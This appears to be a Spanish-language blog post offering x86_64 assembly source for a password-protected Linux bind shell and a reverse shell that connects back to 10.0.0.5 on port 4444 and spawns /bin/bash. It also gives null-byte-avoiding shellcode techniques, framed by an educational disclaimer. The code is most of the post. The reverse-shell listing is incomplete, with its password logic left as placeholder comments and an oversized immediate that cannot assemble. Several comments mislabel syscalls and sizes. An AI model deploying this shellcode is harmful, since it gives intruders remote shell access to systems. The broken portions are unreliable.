Low-Level Network Payloads: Bind & Reverse Shell (x86_64 Assembly)


Desarrollo de Software (Security Tooling)
Creación de un Bind Shell funcional para entornos Linux utilizando NASM y llamadas directas al sistema (Syscalls).
Nota de Ética: Este proyecto tiene fines estrictamente educativos y de investigación en seguridad. Fue desarrollado para profundizar en la arquitectura de sistemas y el funcionamiento interno de Linux.
Si a tu Bind Shell le añadieras SSL/TLS, estaríamos hablando de Evasión de IDS/IPS y Cifrado de Tráfico, sí, con técnicas de cifrado se puede 'camuflar', pero eso ya es otro nivel de técnicas de seguridad ofensiva.
Programación en Assembly (x86_64): Manejo de registros (rax, rdi, rsi, rdx), gestión de la pila (Stack) y control de secuencia.
Implementación manual de sockets (AF_INET/TCP), manejo de direcciones IP en formato hexadecimal/endianness y redirección de descriptores de archivo (dup2).
Lógica de Seguridad: Implementación de un sistema de autenticación por contraseña mediante comparación de memoria (cmpsb) previo al acceso de la terminal.
Optimización de Shellcode: Uso de técnicas para reducción de tamaño y eficiencia en el uso de registros (ej. cdq, xchg). y para evitar null bytes (común en desarrollo de exploits).
Herramientas:
NASM, GNU Linker (ld), GDB (depuración), Objdump.
Shell Root - linux_x64_auth_bindshell.asm
Código: Bind Shell x86_64 con Password
; Author: Ignacio
global _start
section .text
_start:
; int ipv4Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
; rax = 0x29 ; rdi = 0x2 = AF_INET
; rsi = 0x1 = SOCK_STREAM ; rdx = 0x0 = IPPROTO_IP
mov rax, 0x29
mov rdi, 0x02
mov rsi, 0x01
cdq ; rdx = 0 - ANY
syscall ; RAX returns socket File-Descriptor
; bind(ipv4Socket, (struct sockaddr*) &ipSocketAddr, sizeof(ipSocketAddr));
; rax = 0x31 ; rdi = 0x3 = ipv4Socket
; rsi = &ipSocketAddr ; rdi = 0x10
; 02 00 11 5c 00 00 00 00 00 00 00 00 00 00 00 00
; Address-Family| PORT| IP Address| 8 bytes of zeros
xchg rdi, rax ; RDI = sockfd / ipv4Socket, save socket File-Descriptor
xor rax, rax
add al, 0x31 ; rax = 0x31 = socket syscall
; (struct sockaddr*) &ipSocketAddr
push rdx ; 8 bytes of zeros for second half of struct
;push rdx ; 0.0.0.0 , 0.0.0.0
push dx ; 4 bytes of zeros for IPADDR_ANY
push dword 0x00000000 ; 4 bytes, 0.0.0.0
;push dx ; 4 bytes of zeros for IPADDR_ANY
push word 0x5c11 ; push 2 bytes for TCP Port 4444
mov rdx, 0x02 ; rdx = 0x2 ; dx = 0x0002
push dx ; 0x2 = AF_INET
add dl, 0xe ; rdi = 0x14 = sizeof(ipSocketAddr)
mov rsi, rsp ; rsi = &ipSocketAddr
syscall
; int listen(int sockfd, int backlog);
; rax = 0x32 = listen syscall
; rdi = sockfd = 0x3 = ipv4Socket ; rsi = backlog = 0
xor rax, rax
add al, 0x32 ; listen syscall
xor rsi, rsi ; backlog = 0x0
syscall
;accept
; rax = 0x2b ; rdi = sockfd = 0x3 = ipv4Socket
; rsi = 0x0 ; rdx = 0x0
xor rax, rax
mov rdx, 0x0
mov rsi, 0x0
add al, 0x2b ; accept syscall
syscall ; accept returns client socket file-descriptor in RAX
; dup2
xchg rdi, rax ; RDI = sockfd / ClientSocketFD
xor rsi, rsi
add dl, 0x3 ; Loop Counter
dup2Loop:
xor rax, rax
add al, 0x21 ; RAX = 0x21 = dup2 systemcall
syscall ; call dup2 x3 to redirect STDIN STDOUT STDERR
inc rsi
cmp rsi, rdx ; if 2-STDERR, end loop
jne dup2Loop ; On success, return the new file descriptor
jmp short password
failer:
; write
; rax = 0x1 ; rdi = fd = 0x1 STDOUT
; rsi = &String ; rdx = sizeof(String)
; String = "REALLY?!"
; !?YLLAER : 213f594c4c414552
xor rdi, rdi
mul rdi
push rdi
pop rsi
push rsi
mov rsi, 0x213f594c4c414552
push rsi
mov rsi, rsp ; rsi = &String
inc rax ; rax = 0x1 = write system call
mov rdi, rax
add rdx, 16 ; 16 bytes / size of string
syscall
password:
; write
; rax = 0x1 ; rdi = fd = 0x1 STDOUT
; rsi = &String ; rdx = sizeof(String)
; String = "M@G1C WOrDz IZ??"
; ??ZI zDr : 3f3f5a49207a4472
; OW C1G@M : 4f5720433147404d
xor rdi, rdi
mul rdi
push rdi
pop rsi
push rsi
mov rsi, 0x3f3f5a49207a4472 ; ??ZI zDr
push rsi
mov rsi, 0x4f5720433147404d ; OW C1G@M
push rsi
mov rsi, rsp ; rsi = &String
inc rax ; rax = 0x1 = write system call
mov rdi, rax
add rdx, 16 ; 16 bytes / size of string
syscall
; read
; rax = 0x0 = read syscall ; rdi = fd = 0x0 STDIN
; rsi = Write to &String ; rdx = 0x12 = sizeof(String)
xor rdi, rdi
push rdi
mul rdi ; rdx =0x0 ; rax = 0x0 = write system call
mov rsi, rsp ; rsi = [RSP] = &String
add rdx, 12 ; 12 bytes / size of password
syscall
; String = P3WP3Wl4ZerZ
; ZreZ : 5a72655a
; 4lW3PW3P : 346c573350573350
mov rdi, rsp
xor rsi, rsi
add rsi, 0x5a72655a
push rsi
mov rsi, 0x346c573350573350
push rsi
mov rsi, rsp ; rsi = &String
xor rcx, rcx
add rcx, 0xB
repe cmpsb
jnz failer
;execve
; rax = 0x3b ; rdi = Pointer -> "/bin/bash"0x00
; rsi = 0x0 ; rdx = 0x0
; "/bin/bash"
; h : 68
; sab/nib/ : 7361622f6e69622f
xor rsi, rsi
mul rsi ; rdx&rax= 0x0
xor rdi, rdi
push rdi
add rdx, 0x68 ; "h"
push rdx
mov rdx, 0x7361622f6e69622f ; "/bin/bas"
push rdx
xor rdx, rdx
mov rdi, rsp
mov al, 0x3b ; execve syscall
syscall ; call execve("/bin/bash", NULL, NULL)
Código: Reverse Shell x86_64 con Password
; Author: Ignacio - Reverse Shell Edition
; Esta versión "llama" a una IP específica (ej: 10.0.0.5)
global _start
section .text
_start:
; 1. socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
mov rax, 0x29
mov rdi, 0x02
mov rsi, 0x01
cdq ; rdx = 0
syscall
xchg rdi, rax ; RDI = sockfd (nuestro socket para conectar)
; 2. connect(sockfd, (struct sockaddr*) &serv_addr, addrlen)
; rax = 0x2a (connect)
; rsi = struct sockaddr
push rdx ; 8 bytes de padding ceros
push dword 0x0500000a ; IP DESTINO: 10.0.0.5 (Ajusta aquí tu IP en hex)
push word 0x5c11 ; PUERTO: 4444
push word 0x02 ; AF_INET
mov rsi, rsp ; Apuntamos RSI a la estructura en el stack
mov rdx, 16 ; addrlen = 16
mov rax, 0x2a ; syscall connect
syscall
; 3. dup2 (Redirigir STDIN, STDOUT, STDERR al socket)
xor rsi, rsi
mov rdx, 0x3 ; Loop para 0, 1, 2
dup2Loop:
mov rax, 0x21 ; syscall dup2
syscall
inc rsi
cmp rsi, rdx
jne dup2Loop
; --- De aquí en adelante sigue tu lógica de Password ---
password:
; (Tu bloque original de "M@G1C WOrDz IZ??" y validación "P3WP3Wl4ZerZ")
; ... (Insertar aquí tu bloque de 'write', 'read' y 'repe cmpsb') ...
; 4. execve("/bin/bash", NULL, NULL)
xor rsi, rsi
push rsi
mov rbx, 0x687361622f6e69622f ; "/bin/bash" al revés
push rbx
mov rdi, rsp
cdq ; rdx = 0
mov al, 0x3b ; syscall execve
syscall
Análisis estático del binario mediante Radare2. Se observa la secuencia de control de la rutina de autenticación y las llamadas directas a syscalls de red, optimizadas para evitar null bytes.
Related Posts
Dockerizar una aplicación Next.JS con Nginx y PostgreSQL
2025-09-21 00:00:00

Entorno de desarrollo local con Next.js, Drizzle, Nginx y PostgreSQL
2025-09-21 00:00:00

Web blog Next.js 16
2025-11-23 00:00:00

Cifrar JSON Web Token con Flask
2025-03-17 00:00:00

Firewall Dinámico en FreeBSD
2026-04-17 00:00:00
Popular Category
Subscribe to receive future updates
Lorem ipsum dolor sited Sed ullam corper consectur adipiscing Mae ornare massa quis lectus.
No spam guaranteed, So please don’t send any spam mail.